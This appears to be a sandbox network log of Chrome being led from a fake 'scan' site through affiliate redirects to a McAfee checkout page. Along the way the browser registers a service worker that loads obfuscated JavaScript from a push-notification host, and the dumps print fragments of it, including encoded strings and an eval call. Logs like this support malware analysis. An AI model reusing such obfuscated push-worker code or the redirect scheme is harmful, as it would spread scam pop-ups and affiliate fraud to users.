2024-10-03 15:19:35 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:35 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.17	55896	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:35 UTC	684	OUT	GET /1211351.sw.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en If-None-Match: "66d31066-70" If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
2024-10-03 15:19:35 UTC	219	IN	HTTP/1.1 304 Not Modified Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:35 GMT Last-Modified: Sat, 31 Aug 2024 12:45:26 GMT Connection: close ETag: "66d31066-70" Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.17	55892	18.139.38.244	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:35 UTC	1317	OUT	GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1 Host: avkk.newplanexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AWSALB=DggoHBBSllD5hOFBtY6yfOooOvWIoeZfREY3soExu5dhJeCyssIcx4v2wt7VdolrNMMv7D0ttYzZx5hlULXLwsIvnVejldxT91lSyKU4Tz2NYi2ZeCaV7KuzUcPz; AWSALBCORS=DggoHBBSllD5hOFBtY6yfOooOvWIoeZfREY3soExu5dhJeCyssIcx4v2wt7VdolrNMMv7D0ttYzZx5hlULXLwsIvnVejldxT91lSyKU4Tz2NYi2ZeCaV7KuzUcPz; uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNc6:e2ZQ1r1LlbQLRglJX0yqgioOqno"; ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"\054 \"a5a63ccc-38f1-4a59-9390-8415f82a759d\"]:1swNc6:kPgqv5QU9f3qV7GYTCsF86wn_Rk"
2024-10-03 15:19:36 UTC	1307	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 15:19:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Set-Cookie: AWSALB=JZlSgAadxKOs8tD171cW8oflTbPrvOu1VvDprdaPn60eJYZih1VnnRubpcBM+LmgWKzS0XsBbIy5Szh6xNkpG0kLjK3LMeDsXbBaDQ1XQy9hj6seF4CnM3OoCNB4; Expires=Thu, 10 Oct 2024 15:19:35 GMT; Path=/ Set-Cookie: AWSALBCORS=JZlSgAadxKOs8tD171cW8oflTbPrvOu1VvDprdaPn60eJYZih1VnnRubpcBM+LmgWKzS0XsBbIy5Szh6xNkpG0kLjK3LMeDsXbBaDQ1XQy9hj6seF4CnM3OoCNB4; Expires=Thu, 10 Oct 2024 15:19:35 GMT; Path=/; SameSite=None; Secure Server: nginx/1.14.2 Location: https://www.jdoqocy.com/click-101155411-15590427?sid=befc4a8b-40b2-40f9-ab4d-e33b28d32c58 Cache-Control: no-transform X-Frame-Options: SAMEORIGIN Vary: Accept-Language, Cookie, Origin Content-Language: en Set-Cookie: uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNc8:jsPGLpP1SDU2JlLqlaAe5uD6kD8"; expires=Sat, 02 Nov 2024 15:19:36 GMT; Max-Age=2592000; Path=/ Set-Cookie: ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"\054 \"5afb91a4-7e36-4511-9a2e-9ee8f0281a86\"\054 \"a5a63ccc-38f1-4a59-9390-8415f82a759d\"\054 \"befc4a8b-40b2-40f9-ab4d-e33b28d32c58\"]:1swNc8:9F8BvrxYg_zZxI9chEmVMLBNAIg"; expires=Sat, 02 Nov 2024 17:19:36 GMT; Max-Age=2599200; Path=/; SameSite=None; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.17	55897	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:36 UTC	400	OUT	GET /f/sw.js HTTP/1.1 Host: sdk4push.com Connection: keep-alive Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:37 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:36 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 78443 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:37 UTC	16147	IN	Data Raw: 76 61 72 20 61 33 5f 30 78 35 32 35 37 3d 5b 22 42 77 76 5a 43 32 66 4e 7a 71 3d 3d 22 2c 22 77 33 6a 48 78 73 62 4d 7a 78 72 4a 41 63 62 4c 43 4e 6a 56 43 4a 4f 47 44 33 6a 56 42 4d 43 47 43 33 72 48 44 68 76 5a 69 67 6e 56 7a 67 75 3d 22 2c 22 72 32 76 55 7a 78 6a 48 44 67 39 59 69 67 4c 5a 69 67 66 53 43 4d 76 48 7a 68 4b 47 7a 78 48 4c 79 33 76 30 41 77 35 4e 6c 47 3d 3d 22 2c 22 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 22 2c 22 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 22 2c 22 77 33 6e 33 78 73 62 4d 42 33 6a 4a 7a 73 62 31 42 4e 6e 31 79 4e 6e 4a 43 4d 4c 49 41 77 35 4e 22 2c 22 7a 78 6a 59 42 33 6a 64 42 32 72 4c 22 2c 22 79 77 6e 30 41 78 7a 48 44 67 75 3d 22 2c 22 75 4d 76 57 42 67 66 4a 7a 71 3d 3d 22 2c 22 43 32 76 55 7a 66 62 31 Data Ascii: var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1
2024-10-03 15:19:37 UTC	16384	IN	Data Raw: 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6e 29 7d 29 29 7d 72 65 74 75 72 6e 20 6e 65 77 28 74 7c 7c 28 74 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 61 33 5f 30 78 31 37 36 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 31 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 62 61 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 6e 5b 72 28 Data Ascii: ew t((function(r){r(n)}))}return new(t\|\|(t=Promise))((function(t,i){var a=a3_0x1760;function c(n){var r=a3_0x1760;try{o(x[r("0x13b")](n))}catch(n){i(n)}}function u(n){var r=a3_0x1760;try{o(x[r("0xba")](n))}catch(n){i(n)}}function o(n){var r=a3_0x1760;n[r(
2024-10-03 15:19:37 UTC	16384	IN	Data Raw: 22 29 5d 3d 72 5b 74 28 22 30 78 31 31 34 22 29 5d 3d 72 5b 22 69 64 62 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 76 61 72 20 72 3d 74 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 78 3d 61 33 5f 30 78 31 37 36 30 2c 65 3d 73 65 6c 66 5b 78 28 22 30 78 65 34 22 29 5d 5b 78 28 22 30 78 37 36 22 29 5d 28 6e 5b 22 73 74 6f 72 65 4e 61 6d 65 22 5d 2c 6e 5b 22 76 65 72 73 69 6f 6e 22 5d 29 3b 65 5b 78 28 22 30 78 31 31 35 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 78 2c 65 3d 72 5b 22 74 61 72 67 65 74 22 5d 5b 74 28 22 30 78 65 63 22 29 5d 2c 69 3d 6e 5b 74 28 22 30 78 34 38 22 29 5d 7c 30 3b 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 20 Data Ascii: ")]=r[t("0x114")]=r["idb"]=void 0;function a(n){var r=t;return new Promise((function(r,t){var x=a3_0x1760,e=self[x("0xe4")][x("0x76")](n["storeName"],n["version"]);e[x("0x115")]=function(r){var t=x,e=r["target"][t("0xec")],i=n[t("0x48")]\|0;switch(i){case
2024-10-03 15:19:37 UTC	16384	IN	Data Raw: 30 78 32 33 22 29 5d 5b 79 28 22 30 78 64 31 22 29 5d 28 29 5d 3b 63 61 73 65 20 32 3a 72 5b 79 28 22 30 78 65 31 22 29 5d 3d 6c 5b 79 28 22 30 78 31 33 61 22 29 5d 28 29 2c 6c 5b 22 6c 61 62 65 6c 22 5d 3d 33 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 5b 34 2c 28 30 2c 66 5b 79 28 22 30 78 63 31 22 29 5d 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 61 33 5f 30 78 31 37 36 30 3b 72 65 74 75 72 6e 5b 32 2c 28 30 2c 6f 5b 74 28 22 30 78 31 31 39 22 29 5d 29 28 74 68 69 73 5b 74 28 22 30 78 63 34 22 29 5d 5b 22 67 65 74 5f 70 75 73 68 5f 75 72 6c 22 5d 2c Data Ascii: 0x23")][y("0xd1")]()];case 2:r[y("0xe1")]=l[y("0x13a")](),l["label"]=3;case 3:return[4,(0,f[y("0xc1")])((function(){return e(b,void 0,void 0,(function(){return i(this,(function(r){var t=a3_0x1760;return[2,(0,o[t("0x119")])(this[t("0xc4")]["get_push_url"],
2024-10-03 15:19:37 UTC	13144	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 39 35 32 32 37 2c 5f 30 78 33 63 66 63 37 30 3b 72 65 74 75 72 6e 20 5f 30 78 32 66 39 62 37 34 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 64 35 38 29 7b 76 61 72 20 5f 30 78 32 31 36 63 39 38 3d 61 33 5f 30 78 31 37 36 30 3b 73 77 69 74 63 68 28 5f 30 78 32 66 30 64 35 38 5b 5f 30 78 32 31 36 63 39 38 28 22 30 78 36 30 22 29 5d 29 7b 63 61 73 65 20 30 3a 69 66 28 21 28 5f 30 78 35 37 35 39 34 66 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 72 65 74 75 72 6e 5b 33 2c 32 5d 3b 5f 30 78 33 39 35 32 32 37 3d 65 76 61 6c 28 5f 30 78 35 37 35 39 34 66 29 2c 5f 30 78 33 63 66 63 37 30 3d 5f 30 78 34 38 39 34 64 36 5b 22 50 75 73 68 53 74 6f 72 65 22 5d 5b 5f 30 78 32 31 36 63 39 Data Ascii: ,(function(){var _0x395227,_0x3cfc70;return _0x2f9b74(this,(function(_0x2f0d58){var _0x216c98=a3_0x1760;switch(_0x2f0d58[_0x216c98("0x60")]){case 0:if(!(_0x57594f!==undefined))return[3,2];_0x395227=eval(_0x57594f),_0x3cfc70=_0x4894d6["PushStore"][_0x216c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.17	55926	66.235.152.156	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:40 UTC	1612	OUT	GET /m2/mcafee12/mbox/json?mbox=target-global-mbox&mboxSession=e7ad738e0a10482dbf603618faf110ad&mboxPC=&mboxPage=705fe8494ea74d13b25915d152fa0737&mboxRid=316623a7d9fe48139cefb244904b63c9&mboxVersion=1.7.0&mboxCount=1&mboxTime=1727954379798&mboxHost=www.mcafee.com&mboxURL=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&mboxReferrer=https%3A%2F%2Fbeta-scan.site%2F&browserHeight=907&browserWidth=1280&browserTimeOffset=-240&screenHeight=1024&screenWidth=1280&colorDepth=24&devicePixelRatio=1&screenOrientation=landscape&webGLRenderer=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&at_ [TRUNCATED] Host: mcafee12.tt.omtrdc.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.mcafee.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mcafee.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:41 UTC	662	IN	HTTP/1.1 200 OK date: Thu, 03 Oct 2024 15:19:40 GMT content-type: application/json;charset=UTF-8 content-length: 648 vary: Origin,Access-Control-Request-Method,Access-Control-Request-Headers access-control-allow-origin: https://www.mcafee.com access-control-allow-credentials: true x-request-id: 316623a7d9fe48139cefb244904b63c9 pragma: no-cache timing-allow-origin: * referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-10-03 15:19:41 UTC	648	IN	Data Raw: 7b 22 73 65 73 73 69 6f 6e 49 64 22 3a 22 65 37 61 64 37 33 38 65 30 61 31 30 34 38 32 64 62 66 36 30 33 36 31 38 66 61 66 31 31 30 61 64 22 2c 22 74 6e 74 49 64 22 3a 22 65 37 61 64 37 33 38 65 30 61 31 30 34 38 32 64 62 66 36 30 33 36 31 38 66 61 66 31 31 30 61 64 2e 33 37 5f 30 22 2c 22 6f 66 66 65 72 73 22 3a 5b 7b 22 70 6c 75 67 69 6e 73 22 3a 5b 22 3c 73 63 72 69 70 74 20 74 79 70 65 3d 5c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 5c 22 3e 2f 2a 6d 62 6f 78 48 69 67 68 6c 69 67 68 74 2b 20 28 31 6f 66 32 29 20 76 31 20 3d 3d 3e 20 52 65 73 70 6f 6e 73 65 20 50 6c 75 67 69 6e 2a 2f 77 69 6e 64 6f 77 2e 74 74 4d 45 54 41 3d 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 2e 74 74 4d 45 54 41 29 21 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 3f 77 69 6e 64 Data Ascii: {"sessionId":"e7ad738e0a10482dbf603618faf110ad","tntId":"e7ad738e0a10482dbf603618faf110ad.37_0","offers":[{"plugins":["<script type=\"text/javascript\">/mboxHighlight+ (1of2) v1 ==> Response Plugin/window.ttMETA=(typeof(window.ttMETA)!='undefined')?wind

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.17	55935	66.235.152.156	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:41 UTC	1410	OUT	GET /m2/mcafee12/mbox/json?mbox=target-global-mbox&mboxSession=e7ad738e0a10482dbf603618faf110ad&mboxPC=&mboxPage=705fe8494ea74d13b25915d152fa0737&mboxRid=316623a7d9fe48139cefb244904b63c9&mboxVersion=1.7.0&mboxCount=1&mboxTime=1727954379798&mboxHost=www.mcafee.com&mboxURL=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&mboxReferrer=https%3A%2F%2Fbeta-scan.site%2F&browserHeight=907&browserWidth=1280&browserTimeOffset=-240&screenHeight=1024&screenWidth=1280&colorDepth=24&devicePixelRatio=1&screenOrientation=landscape&webGLRenderer=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&at_ [TRUNCATED] Host: mcafee12.tt.omtrdc.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:42 UTC	569	IN	HTTP/1.1 200 OK date: Thu, 03 Oct 2024 15:19:41 GMT content-type: application/json;charset=UTF-8 content-length: 648 vary: Origin,Access-Control-Request-Method,Access-Control-Request-Headers x-request-id: 316623a7d9fe48139cefb244904b63c9 pragma: no-cache timing-allow-origin: * referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-10-03 15:19:42 UTC	648	IN	Data Raw: 7b 22 73 65 73 73 69 6f 6e 49 64 22 3a 22 65 37 61 64 37 33 38 65 30 61 31 30 34 38 32 64 62 66 36 30 33 36 31 38 66 61 66 31 31 30 61 64 22 2c 22 74 6e 74 49 64 22 3a 22 65 37 61 64 37 33 38 65 30 61 31 30 34 38 32 64 62 66 36 30 33 36 31 38 66 61 66 31 31 30 61 64 2e 33 37 5f 30 22 2c 22 6f 66 66 65 72 73 22 3a 5b 7b 22 70 6c 75 67 69 6e 73 22 3a 5b 22 3c 73 63 72 69 70 74 20 74 79 70 65 3d 5c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 5c 22 3e 2f 2a 6d 62 6f 78 48 69 67 68 6c 69 67 68 74 2b 20 28 31 6f 66 32 29 20 76 31 20 3d 3d 3e 20 52 65 73 70 6f 6e 73 65 20 50 6c 75 67 69 6e 2a 2f 77 69 6e 64 6f 77 2e 74 74 4d 45 54 41 3d 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 2e 74 74 4d 45 54 41 29 21 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 3f 77 69 6e 64 Data Ascii: {"sessionId":"e7ad738e0a10482dbf603618faf110ad","tntId":"e7ad738e0a10482dbf603618faf110ad.37_0","offers":[{"plugins":["<script type=\"text/javascript\">/mboxHighlight+ (1of2) v1 ==> Response Plugin/window.ttMETA=(typeof(window.ttMETA)!='undefined')?wind

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.17	56007	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:47 UTC	554	OUT	GET /utag/mcafee/consumer-display/prod/utag.js HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.mcafee.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:47 UTC	609	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 119189 Connection: close Last-Modified: Wed, 11 Sep 2024 15:41:19 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: vlkqlhQHLTcly0zBg6CP88iiZDA_Iw.6 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 15:19:48 GMT ETag: "37105e32c6d2a5eb0f846811c9e443bb" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 e1af02661708034e962bd39b357a50aa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: xXXAZy6CsMgi8dxZLu_sjMi_hE2CkFmzZ4q8CAqpUnbH3fS65yFdBQ== Cache-Control: max-age=300
2024-10-03 15:19:47 UTC	16384	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 6c 6f 61 64 65 72 20 75 74 34 2e 30 2e 32 30 32 34 30 39 31 31 31 35 34 31 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 76 61 72 20 75 74 61 67 5f 63 6f 6e 64 6c 6f 61 64 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 5f 74 65 61 6c 69 75 6d 5f 74 77 63 5f 73 77 69 74 63 68 3d 66 61 6c 73 65 3b 74 72 79 7b 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 75 74 61 67 5f 64 61 74 61 3d 77 69 6e 64 6f 77 2e 75 74 61 67 5f 64 61 74 61 7c 7c 7b 7d 3b 76 61 72 20 63 68 65 63 6b 5f 77 65 62 5f 73 74 6f 72 61 67 65 3d 66 75 6e 63 74 69 Data Ascii: //tealium universal tag - utag.loader ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved.var utag_condload=false;window.__tealium_twc_switch=false;try{try{(function(){window.utag_data=window.utag_data\|\|{};var check_web_storage=functi
2024-10-03 15:19:47 UTC	16384	IN	Data Raw: 73 3a 75 74 61 67 2e 63 66 67 2e 70 61 74 68 2b 27 75 74 61 67 2e 6a 73 27 2c 6c 3a 64 2c 74 3a 27 67 65 27 7d 29 3b 7d 7d 0a 75 74 61 67 2e 44 42 28 62 29 3b 72 65 74 75 72 6e 20 67 3b 7d 7d 2c 74 72 69 67 67 65 72 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 75 74 61 67 2e 44 42 28 27 74 72 69 67 67 65 72 3a 27 2b 61 2b 28 63 26 26 63 2e 75 69 64 73 3f 22 3a 22 2b 63 2e 75 69 64 73 2e 6a 6f 69 6e 28 22 2c 22 29 3a 22 22 29 29 3b 62 3d 62 7c 7c 7b 7d 3b 75 74 61 67 2e 44 42 28 62 29 3b 69 66 28 21 74 68 69 73 2e 69 66 6c 61 67 29 7b 75 74 61 67 2e 44 42 28 22 74 72 69 67 67 65 72 3a 63 61 6c 6c 65 64 20 62 65 66 6f 72 65 20 74 61 67 73 20 6c 6f 61 64 65 64 22 29 3b 66 6f 72 28 64 20 69 6e 20 75 74 61 67 2e 6c 6f 61 64 65 72 2e 66 Data Ascii: s:utag.cfg.path+'utag.js',l:d,t:'ge'});}}utag.DB(b);return g;}},trigger:function(a,b,c,d,e,f){utag.DB('trigger:'+a+(c&&c.uids?":"+c.uids.join(","):""));b=b\|\|{};utag.DB(b);if(!this.iflag){utag.DB("trigger:called before tags loaded");for(d in utag.loader.f
2024-10-03 15:19:47 UTC	12288	IN	Data Raw: 64 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 6c 74 75 72 65 5f 63 6f 64 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 27 6e 6c 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3e 2d 31 26 26 64 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 67 65 6f 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 27 65 6d 65 61 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3e 2d 31 29 7c 7c 28 64 5b 27 74 6d 5f 67 6c 6f 62 61 6c 5f 63 75 6c 74 75 72 65 5f 63 6f 64 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 27 69 74 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 